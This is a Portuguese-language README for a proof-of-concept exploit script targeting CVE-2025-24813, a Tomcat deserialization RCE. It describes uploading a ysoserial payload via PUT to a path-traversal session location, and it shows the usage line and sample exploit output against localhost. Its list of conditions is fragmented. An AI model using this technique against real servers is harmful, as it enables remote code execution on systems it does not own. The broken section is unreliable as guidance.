
Seu repositório contém um script automatizado de Prova de Conceito (PoC) para explorar **CVE-2025-24813**, uma vulnerabilidade de Execução Remota de Código (RCE) no Apache Tomcat. A vulnerabilidade permite que um atacante envie um payload serializado malicioso para o servidor, levando à execução arbitrária de código por meio de desserialização quando condições específicas são atendidas.
CVE-2025-24813 é uma vulnerabilidade teórica de RCE no Apache Tomcat que aproveita o tratamento inadequado de arquivos de sessão enviados e mecanismos de desserialização. Ao enviar uma carga útil criada para um diretório gravável (por exemplo, /uploads/../sessions/), um atacante pode acionar a desserialização, resultando na execução de comandos arbitrários no servidor alvo.
Para que este PoC explore a vulnerabilidade com sucesso, as seguintes condições devem ser atendidas:
/index.jsp) e acionar a desserialização da carga útil.ysoserial ou compilar cargas úteis baseadas em Java.ysoserial, o arquivo ysoserial.jar deve estar disponível localmente.python CVE-2025-24813.py <target_url> [options]
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser